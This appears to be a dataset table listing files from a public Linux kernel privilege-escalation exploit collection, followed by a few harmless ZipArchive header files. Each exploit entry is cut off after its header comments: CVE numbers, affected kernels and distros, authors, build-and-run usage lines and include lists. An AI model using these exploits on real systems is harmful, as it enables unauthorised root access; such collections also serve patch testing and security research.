** Vulnerable: Linux 2.6 ALL
** Type of Vulnerability: Local Race
** Tested On : various distros
** Vendor Status: unknown
**
** Disclaimer:
** In no event shall the author be liable for any damages
** whatsoever arising out of or in connection with the use
** or spread of this informa... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2009/CVE-2009-2698/36108.c | null | null | null | null | null | null | C | 2026-05-04T18:43:12.876044 | /*
**
** 0x82-CVE-2009-2698
** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
**
** Tested White Box 4(2.6.9-5.ELsmp),
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),
** Fedora Core 6(2.6.18-1.2798.fc6).
**... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2010/CVE-2010-4073/17787.c | null | null | null | null | null | null | C | 2026-05-04T18:43:13.420130 | /*
* half-nelson.c
*
* Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
*
* Stack-based buffer overflow in the econet_sendmsg function in ... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2010/CVE-2010-3437/15150.c | null | null | null | null | null | null | C | 2026-05-04T18:43:13.429191 | /*
* cve-2010-3437.c
*
* Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* https://bugzilla.redhat.com/show_bug.cgi?id=638085
*
* The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a
* pk... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2009/CVE-2009-3547/pipe.c_32bit.c | null | null | null | null | null | null | C | 2026-05-04T18:43:13.429733 | /******************************************************************************
* .:: Impel Down ::.
*
* Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
* by teach & xipe
* Greetz goes to all our mates from #nibbles, #oldschool and #carib0u... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2010/CVE-2010-3301/15023.c | null | null | null | null | null | null | C | 2026-05-04T18:43:13.449175 | /*
* exploit for x86_64 linux kernel ia32syscall emulation (again)
* rediscovered by ben hawkes
* with help from robert swiecki and tavis ormandy
*
* original vulnerability discovered by Wojciech Purczynski
*
* original exploit by
* Robert Swiecki <robert_at_swiecki.net>
* Przemyslaw Frasunek <vengl... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2010/CVE-2010-4258/15704.c | null | null | null | null | null | null | C | 2026-05-04T18:43:13.456101 | /*
* Linux Kernel <= 2.6.37 local privilege escalation
* by Dan Rosenberg
* @djrbliss on twitter
*
* Usage:
* gcc full-nelson.c -o full-nelson
* ./full-nelson
*
* This exploit leverages three vulnerabilities to get root, all of which were
* discovered by Nelson Elhage:
*
* CVE-2010-4258
* ----... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2010/CVE-2010-3081/15024.c | null | null | null | null | null | null | C | 2026-05-04T18:43:13.457398 | /*
Ac1dB1tch3z Vs Linux Kernel x86_64 0day
Today is a sad day..
R.I.P.
Tue, 29 Apr 2008 / Tue, 7 Sep 2010
a bit of history:
MCAST_MSFILTER Compat mode bug found... upon commit! (2 year life on this one)
author David L Stevens <dlstevens () us ibm com>
Tue, 29 Apr 2008 10:23:22 +0000 (... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2010/CVE-2010-4347/15774.c | null | null | null | null | null | null | C | 2026-05-04T18:43:13.466048 | /*
* american-sign-language.c
*
* Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347
*
* This custom_method file allows to inject cust... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2010/CVE-2010-2959/14814.c | null | null | null | null | null | null | C | 2026-05-04T18:43:13.470364 | /*
* i-CAN-haz-MODHARDEN.c
*
* Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959
*
* Ben Hawkes discovered an integer overflow in the Co... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2012/CVE-2012-3524/dd.c | null | null | null | null | null | null | C | 2026-05-04T18:43:13.487580 | /* CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
*
* edited by Pashkela for RDOT.ORG (23.01.2013)
*
* su auto vector (need tty + current user password)
*
* Trivial non-dbus root exploit. (Yes, it is 2012!)
*
* The underlying bug (insecure getenv() by default) has been
* reported ages ago, but nobo... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2012/CVE-2012-0056/18411.c | null | null | null | null | null | null | C | 2026-05-04T18:43:13.534560 | /*
Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
Blog post about it is here: http://blog.zx2c4.com/749
EDB-Note: Updated version can be found here: https://www.exploit-db.com/exploits/35161/
# Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit
# Date: Jan... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2013/CVE-2013-1763/24555.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.003410 | // archer.c
//
// 2012 sd@fucksheep.org
//
// Works reliably against x86-64 3.3-3.7 arch.
//
// Tested against:
//
// Linux XXX 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux
// Linux XXX 3.4.7-1-ARCH #1 SMP PREEMPT Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux
// Linux XXX 3.7.4-1-... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2012/CVE-2012-3524/dzug.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.021640 | /* dzug.c CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
*
* Trivial non-dbus root exploit. (Yes, it is 2012!)
*
* The underlying bug (insecure getenv() by default) has been
* reported ages ago, but nobody really cared. Unless you have an
* exploit...
*
*/
#include <stdio.h>
#include <stdlib.h>
#incl... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2013/CVE-2013-1763/24746.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.042526 | #include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2013/CVE-2013-0268/27297.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.067891 | // PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
// can do whatever in the commented area, re-enable module support, etc
// requires CONFIG_X86_MSR and just uid 0
// a small race exists between the time when the MSR is written to the first
// time and when we issue our sysenter
// we additionally... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2013/CVE-2013-1858/clown-newuser.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.081976 | /*
source: http://www.securityfocus.com/bid/58478/info
Linux kernel is prone to a local privilege-escalation vulnerability.
Local attackers can exploit this issue to gain kernel privileges, which will aid in further attacks.
*/
/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC
*
* Dedicated to: Locke ... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2013/CVE-2013-1763/33336.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.083807 | /*
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* bug found by Spender
* poc by SynQ
*
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
* using nl_table->hash.rehash_time, index 81
*
* Fedora 18 support added
*
* 2/2013
*/
#... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2013/CVE-2013-2094/perf_swevent.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.085736 | /*
* CVE-2013-2094 exploit x86_64 Linux < 3.8.9
* by sorbo (sorbo@darkircop.org) June 2013
*
* Based on sd's exploit. Supports more targets.
*
*/
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#includ... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2014/CVE-2014-0038/31346.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.116052 | /*
* Local root exploit for CVE-2014-0038.
*
* https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c
*
* Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer
* passed from userspace.
*
* Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,
... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2013/CVE-2013-2094/perf_swevent64.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.134646 | /**
* Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
* by Vitaly Nikolenko (vnik5287@gmail.com)
*
* based on semtex.c by sd
*
* Supported targets:
* [0] Ubuntu 12.04.0 - 3.2.0-23-generic
* [1] Ubuntu 12.04.1 - 3.2.0-29-generic
* [2] Ubuntu 12.04.2 - 3.5.0-23-generic
*
* $ gcc vnik.c... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2014/CVE-2014-0038/CVE-2014-0038.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.150849 | /*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------
takes about 13 minutes to run because timeout->tv_sec is decremented
once per second... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2014/CVE-2014-0196/cve-2014-0196.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.754289 | /*
* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
* condition
*
* Slightly-less-than-POC privilege escalation exploit
* For kernels >= v3.14-rc1
*
* Matthew Daley <mattd@bugfuzz.com>
*
* Usage:
* $ gcc cve-2014-0196-md.c -lutil -lpthread
* $ ./a.out
* [+] Resolving symbols
... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2014/CVE-2014-3153/35370.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.932628 | /*
* CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
* By Kaiqu Chen ( kaiquchen@163.com )
* Based on libfutex and the expoilt for Android by GeoHot.
*
* Usage:
* $gcc exploit.c -o exploit -lpthread
* $./exploit
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2015/CVE-2015-7547/CVE-2015-7547-client.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.937387 | /* Copyright 2016 Google Inc
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, ... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2014/CVE-2014-4699/34134.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.942465 | /**
* CVE-2014-4699 ptrace/sysret PoC
* by Vitaly Nikolenko
* vnik@hashcrack.org
*
* > gcc -O2 poc_v0.c
*
* This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
* following will trigger the #GP in sysret and overwrite the #PF handler so we
* can land to our NOP sled mapped at 0x... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2015/CVE-2015-1328/37292.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.946850 | /*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-13... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2014/CVE-2014-4014/33824.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.947400 | /**
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
*
* Vitaly Nikolenko
* http://hashcrack.org
*
* Usage: ./poc [file_path]
*
* where file_path is the file on which you want to set the sgid bit
*/
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#inclu... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2016/CVE-2016-0728/cve-2016-0728.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.948798 | /*
# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
# Date: 19/1/2016
# Exploit Author: Perception Point Team
# CVE : CVE-2016-0728
*/
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */
/* EDB-Note: More information ~ http://perception-point... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2016/CVE-2016-2384/poc.c | null | null | null | null | null | null | C | 2026-05-04T18:43:14.957441 | // A part of the proof-of-concept exploit for the vulnerability in the usb-midi
// driver. Meant to be used in conjuction with a hardware usb emulator, which
// emulates a particular malicious usb device (a Facedancer21 for example).
//
// Andrey Konovalov <andreyknvl@gmail.com>
//
// Usage:
// // Edit source to set... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2016/CVE-2016-0728/cve-2016-0728/keyutils.h | null | null | null | null | null | null | C | 2026-05-04T18:43:14.987456 | /* keyutils.h: key utility library interface
*
* Copyright (C) 2005,2011 Red Hat, Inc. All Rights Reserved.
* Written by David Howells (dhowells@redhat.com)
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public License
* as published by the... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2016/CVE-2016-0728/cve-2016-0728/rootz.c | null | null | null | null | null | null | C | 2026-05-04T18:43:15.806862 | /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include "keyutils.h"
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribu... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2016/CVE-2016-5195/dirtyc0w.c | null | null | null | null | null | null | C | 2026-05-04T18:43:15.888154 | /*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 180... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2017/CVE-2017-1000367/sudopwn.c | null | null | null | null | null | null | C | 2026-05-04T18:43:15.917806 | #define _GNU_SOURCE
#include <errno.h>
#include <linux/sched.h>
#include <pty.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
#d... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2016/CVE-2016-5195/40616.c | null | null | null | null | null | null | C | 2026-05-04T18:43:16.283726 | /*
*
* EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.
*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2017/CVE-2017-5123/43029.c | null | null | null | null | null | null | C | 2026-05-04T18:43:16.442748 | #define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <string.h>
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2016/CVE-2016-5195/pokemon.c | null | null | null | null | null | null | C | 2026-05-04T18:43:20.622447 | // $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball
#include <fcntl.h> //// pikachu
#include <pthread.h> //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
#include <string.h> //// pokeball
#in... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2017/CVE-2017-16939/cve-2017-16939.c | null | null | null | null | null | null | C | 2026-05-04T18:43:20.623081 | #include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <asm/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/xfrm.h>
#include <sched.h>
#include <unistd.h>
#define BUFSIZE 2048
int fd;
struct sockaddr_nl addr;
struct msg_poli... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2017/CVE-2017-1000112/poc.c | null | null | null | null | null | null | C | 2026-05-04T18:43:20.626069 | // A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x8... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2016/CVE-2016-9793/poc.c | null | null | null | null | null | null | C | 2026-05-04T18:43:20.626969 | // CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793
// No KASLR, SMEP or SMAP bypass included
// Affected kernels: 3.11 -> 4.8
// Tested in QEMU only
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
//
// Usage:
// # gcc -pthread exploit.c -o exploit
// # chown guest:guest exploit
// # setcap ca... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2017/CVE-2017-16995/upstream44.c | null | null | null | null | null | null | C | 2026-05-04T18:43:20.627513 | /*
* Ubuntu 16.04.4 kernel priv esc
*
* all credits to @bleidl
* - vnik
*/
// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#inclu... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2016/CVE-2016-9793/trigger.c | null | null | null | null | null | null | C | 2026-05-04T18:43:20.842714 | #define _GNU_SOURCE
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#in... |
ZipArchive/ZipArchive | https://github.com/ZipArchive/ZipArchive | null | null | null | null | 5,593 | null | null | mit | null | null | null | null | null | null | null | Example/ObjectiveCExample/AppDelegate.h | null | null | null | null | null | null | C | 2026-05-04T18:43:24.944610 | //
// AppDelegate.h
// ObjectiveCExample
//
// Created by Sean Soper on 10/23/15.
//
//
#import <UIKit/UIKit.h>
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@end
|
ZipArchive/ZipArchive | https://github.com/ZipArchive/ZipArchive | null | null | null | null | 5,593 | null | null | mit | null | null | null | null | null | null | null | Example/ObjectiveCExampleTests/CancelDelegate.h | null | null | null | null | null | null | C | 2026-05-04T18:43:24.964934 | //
// CancelDelegate.h
// ObjectiveCExample
//
// Created by Antoine Cœur on 04/10/2017.
//
#import <Foundation/Foundation.h>
#if COCOAPODS
#import <SSZipArchive.h>
#else
#import <ZipArchive.h>
#endif
@interface CancelDelegate : NSObject <SSZipArchiveDelegate>
@property (nonatomic, assign) int numFilesUnzipped;
... |
ZipArchive/ZipArchive | https://github.com/ZipArchive/ZipArchive | null | null | null | null | 5,593 | null | null | mit | null | null | null | null | null | null | null | Example/ObjectiveCExampleTests/ProgressDelegate.h | null | null | null | null | null | null | C | 2026-05-04T18:43:24.966615 | //
// ProgressDelegate.h
// ObjectiveCExample
//
// Created by Antoine Cœur on 04/10/2017.
//
#import <Foundation/Foundation.h>
#if COCOAPODS
#import <SSZipArchive.h>
#else
#import <ZipArchive.h>
#endif
@interface ProgressDelegate : NSObject <SSZipArchiveDelegate>
{
@public
NSMutableArray<NSValue*> *fileInfo... |
ZipArchive/ZipArchive | https://github.com/ZipArchive/ZipArchive | null | null | null | null | 5,593 | null | null | mit | null | null | null | null | null | null | null | SSZipArchive/include/ZipArchive.h | null | null | null | null | null | null | C | 2026-05-04T18:43:24.974438 | //
// ZipArchive.h
// ZipArchive
//
// Created by Serhii Mumriak on 12/1/15.
//
#import <Foundation/Foundation.h>
//! Project version number for ZipArchive.
FOUNDATION_EXPORT double ZipArchiveVersionNumber;
//! Project version string for ZipArchive.
FOUNDATION_EXPORT const unsigned char ZipArchiveVersionString[];... |
ZipArchive/ZipArchive | https://github.com/ZipArchive/ZipArchive | null | null | null | null | 5,593 | null | null | mit | null | null | null | null | null | null | null | SSZipArchive/SSZipCommon.h | null | null | null | null | null | null | C | 2026-05-04T18:43:24.978427 | #ifndef SSZipCommon
#define SSZipCommon
// typedefs moved from unzip.h to here for public access
/* unz_global_info structure contain global data about the ZIPfile
These data comes from the end of central dir */
typedef struct unz_global_info_s {
unsigned long number_entry; /* total number of entries in the cen... |
ZipArchive/ZipArchive | https://github.com/ZipArchive/ZipArchive | null | null | null | null | 5,593 | null | null | mit | null | null | null | null | null | null | null | Example/ObjectiveCExampleTests/CollectingDelegate.h | null | null | null | null | null | null | C | 2026-05-04T18:43:24.979560 | #import <Foundation/Foundation.h>
#if COCOAPODS
#import <SSZipArchive.h>
#else
#import <ZipArchive.h>
#endif
/**
* Test delegate by collecting its calls
*/
@interface CollectingDelegate : NSObject <SSZipArchiveDelegate>
@property(nonatomic, retain) NSMutableArray<NSString *> *files;
@end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.